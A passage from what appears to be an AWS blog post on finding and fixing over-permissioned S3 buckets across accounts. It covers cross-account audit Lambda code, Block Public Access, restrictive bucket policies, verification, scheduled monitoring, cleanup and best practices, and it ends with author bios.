    external_id = os.environ.get('<EXTERNAL_ID>')

    clients = []
    for account_id in member_accounts:
        account_id = account_id.strip()
        if not account_id:
            continue

        try:
            assumed_role = sts.assume_role(
                RoleArn=f'arn:aws:iam::{account_id}:role/{cross_account_role_name}',
                RoleSessionName='S3AuditSession',
                ExternalId=external_id
            )

            # Create S3 client with assumed credentials
            s3_client = boto3.client(
                's3',
                aws_access_key_id=assumed_role['Credentials']['AccessKeyId'],
                aws_secret_access_key=assumed_role['Credentials']['SecretAccessKey'],
                aws_session_token=assumed_role['Credentials']['SessionToken']
            )
            clients.append((account_id, s3_client))

        except Exception as e:
            print(f'Failed to assume role in account {account_id}: {e}')

    return clients

To scan each member account, replace the single-account s3.list_buckets() call with a loop over member accounts:

def lambda_handler(event, context):
    all_risky_buckets = []
    all_errors = []

    # Scan each member account
    for account_id, s3_client in get_member_s3_clients():
        try:
            buckets = s3_client.list_buckets()['Buckets']
            for bucket in buckets:
                # ... same scanning logic as the single-account scripts ...
                # Use s3_client instead of s3 for each API call
                pass
        except Exception as e:
            all_errors.append(f'Account {account_id}: {e}')

    # ... same alerting/reporting logic ...

The Lambda execution role in the central security account needs sts:AssumeRole permission for the cross-account role ARNs. Add this to the execution role policy you created in step 5.

Remediate elevated access

This section describes how to fix over-permissioned buckets using account-level controls, bucket policies, and optional automation. Any elevated access that you find needs to be remediated.

Enable Amazon S3 Block Public Access (account level)

Before applying individual bucket policies, enable Amazon S3 Block Public Access at the account level. This prevents buckets in the account from being made public, regardless of individual bucket policies or ACLs. See theS3 Block Public Access documentation for configuration details. See the following example AWS CLI command; replace <ACCOUNT_ID> with the ID of the account you’re using to manage resource access:

aws s3control put-public-access-block \
  --account-id <ACCOUNT_ID> \
  --public-access-block-configuration \
BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true

For multi-account environments, deploy this setting across member accounts using AWS CloudFormation StackSets or AWS Organizations service control policies (SCPs).

Important: Before enabling account-level S3 Block Public Access, check whether any workloads need public bucket access (for example, static website hosting, public dataset sharing). Coordinate with your application teams to identify any exceptions.

Remediate using bucket policies

Implement bucket policies that restrict access to specific IAM users, roles, or accounts. When crafting policies, apply the principle of least privilege and include only the actions and principals required for your use case.

Example S3 bucket policy: deny public read/write access. Modify the resource ARN, actions, and conditions to match your requirements:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Principal": "*",
      "Action": [
        "s3:PutObject", "s3:PutObjectAcl",
        "s3:GetObject", "s3:GetObjectAcl",
        "s3:DeleteObject"
      ],
      "Resource": "arn:aws:s3:::<BUCKET_NAME>/*",
      "Condition": {
        "StringEquals": {
          "s3:x-amz-acl": ["public-read", "public-read-write"]
        }
      }
    }
  ]
}

Example S3 bucket policy: restrict access to specific IAM principals. Replace <ACCOUNT_ID>, <USERNAME>, and <ROLE_NAME>:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowObjectAccess",
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::<ACCOUNT_ID>:user/<USERNAME>",
          "arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
        ]
      },
      "Action": ["s3:GetObject", "s3:PutObject", "s3:DeleteObject"],
      "Resource": "arn:aws:s3:::<BUCKET_NAME>/*"
    },
    {
      "Sid": "AllowBucketAccess",
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::<ACCOUNT_ID>:user/<USERNAME>",
          "arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
        ]
      },
      "Action": ["s3:ListBucket", "s3:GetBucketLocation"],
      "Resource": "arn:aws:s3:::<BUCKET_NAME>"
    }
  ]
}

See the Amazon S3 bucket policy documentation for additional examples and guidance.

Automate remediation with Lambda or CloudFormation StackSets (optional):

You can also remediate using Lambda or CloudFormation Stacksets:

  • Create Lambda functions to automatically update bucket policies or disable public access settings for flagged buckets
  • Use CloudFormation StackSets to deploy standardized bucket policies and S3 Block Public Access settings across multiple accounts

Verify your remediation

This section explains how to confirm that your fixes are effective before moving to ongoing monitoring. After applying remediation, verify the fix is effective before setting up ongoing monitoring:

  1. Re-run the audit Lambda function – Confirm the previously flagged buckets no longer appear in the risky buckets list.
  2. Check Security Hub compliance – Verify the compliance status has changed from FAILED to PASSED for Amazon S3-related controls.
  3. Validate with IAM Access Analyzer – Review findings for the remediated S3 buckets. Active findings should resolve automatically after public access is removed.
  4. Test application functionality – Confirm that legitimate workloads continue to function correctly.

Document the verification results for your auditing needs. If any S3 buckets still show issues, investigate whether the policy was applied correctly or if there are conflicting permissions.

Automation opportunities

This section covers optional strategies to automate ongoing detection and maintain your security posture without manual intervention.

  1. (Optional) Schedule recurring scans with Amazon EventBridge
    • Regular security scans help identify new issues arising from configuration changes or newly created S3 buckets. When new security risks are detected, Amazon SNS sends an alert and automatically initiates the remediation phase (Workflow 2 in Figure 1). To avoid repeated alerts, you can configure the audit Lambda function to run on a schedule and compare current results with the previous baseline to generate notifications when new findings are discovered.
    • For ongoing monitoring, you can schedule the audit Lambda function to run on a recurring basis using EventBridge. Create a scheduled rule with a cron expression (for example, daily at 6:00 AM UTC or weekly on Mondays), add the Lambda function as the target, and grant EventBridge permission to invoke it. See Amazon EventBridge scheduling documentation for instructions on creating scheduled rules and configuring targets.
  2. Enable IAM Access Analyzer for Amazon S3
    • IAM Access Analyzer monitors bucket policies, ACLs, and access points to identify buckets accessible from outside your account or organization. Create an analyzer scoped to your organization or individual account, then review findings to identify unintended external access. Findings automatically flow into Security Hub when both services are enabled, giving you a dashboard view for Amazon S3 security findings. See the IAM Access Analyzer documentation for setup and usage instructions.
  3. Automate notifications for policy drift
    • Recurring scans might surface new findings from policy drift or newly created buckets. When new risks are detected, Amazon SNS alert triggers and the remediation cycle repeat (as shown in Workflow 2 in Figure 1) sends email notifications. Configure the audit Lambda function to compare current scan results against the previous baseline and alert on new findings for ongoing reviews.

Clean up

This section lists the resources created during this walkthrough that you should review and remove when they are no longer needed. If the following services were not previously active in your account, leaving them enabled might result in additional ongoing charges. See the Cost considerations section for details. Review and remove unused resources to optimize costs.

Delete or disable the following script-generated resources if they’re not required after outputs are generated. Focus first on Lambda functions and EventBridge rules if you’re not running recurring scans. If you enabled AWS Config or Security Hub specifically for this audit, evaluate whether you need them for other compliance requirements before disabling.

  • Lambda – Functions, IAM roles, and policies created for auditing
  • Amazon EventBridge – Scheduled rules created for recurring audit triggers
  • Amazon SNS – Topics and subscriptions created for notifications
  • Amazon S3 – Buckets containing script-generated audit output files
  • AWS Config – Rules and recorders if no longer needed for compliance
  • Security Hub – Disable if enabled solely for this audit
  • IAM Access Analyzer – Delete the analyzer if no longer needed for ongoing monitoring

Note: Be careful when deleting data and consider temporarily disabling services first to check for dependencies. Only delete resources generated as part of your audit outputs. Verify you have retained any necessary results before proceeding. Verify resources are not used by other workloads before deletion.

Best practices

This section provides recommendations to maintain secure Amazon S3 configurations long-term. To learn more about maintaining secure Amazon S3 configurations, review the AWS documentation links provided in the conclusion. The following recommendations aren’t exhaustive. Adapt and extend them based on your organization’s evolving security requirements and AWS best practices guidance. After you’ve fixed existing issues, these practices help you maintain secure Amazon S3 configurations.

  • Start with account-level controls – Enable S3 Block Public Access at the account level. This prevents buckets from becoming public even if someone misconfigures an individual bucket policy. For multi-account environments, enforce this through AWS Organizations SCPs.
  • Automate detection – Use IAM Access Analyzer to detect external access. Schedule your audit Lambda function with EventBridge to catch new issues weekly or daily, depending on your change frequency. Compare scan results against previous baselines to identify drift.
  • Standardize across accounts – Use CloudFormation StackSets to deploy the same secure configuration to all accounts in your organization, reducing the chance of configuration drift. Use StackSets for IAM roles, AWS Config rules, and S3 Block Public Access settings.

Additional security measures

  • Regularly review and rotate cross-account IAM role credentials and external IDs
  • Implement Amazon S3 server-side encryption (SSE-S3 or SSE-KMS) for data at rest
  • Enable S3 access logging and AWS CloudTrail data events for audit trails

Conclusion

This section summarizes what you accomplished and suggests next steps to maintain your S3 security posture. By implementing the detection, remediation, and monitoring workflow outlined in this post, you can proactively identify and secure over-permissioned S3 buckets across your AWS environment. To maintain your ongoing security posture, enable IAM Access Analyzer for continuous monitoring and schedule recurring audits with EventBridge. To learn more about Amazon S3 security best practices, see Security best practices for Amazon S3

For more information:

If you have feedback about this post, submit comments in the Comments section below.


Hetal Kolekar

Hetal Kolekar

Hetal is a Sr. Technical Account Manager at AWS with more than 21 years of experience in Infrastructure Architecture, Security, Systems Engineering, and Consulting. He excels in leading teams to strengthen their cloud security posture and helps customers scale up their security using AWS services. Hetal is a guitarist and loves playing at church.

Manomayi Vedam

Manonmayi Vedam

Manonmayi is a Senior TAM and Product Owner at AWS, specializing in AI-driven cloud enablement, security, and generative AI risk across Healthcare, Financial Services, Energy, and Public Sector. She co-leads global security programs for Fortune 500 clients, contributes to the NIST Cyber AI Profile RMF and NCCoE, and is a Fellow at SCRS with recognition from GlobeeAwards and IEEE.

Fernando Freitas

Fernando Freitas

Fernando is a Sr. Technical Account Manager at AWS in Salt Lake City, focused on helping customers achieve their desired outcomes with the AWS Cloud. Fernando is passionate about Identity and Security, Training and Education.

❌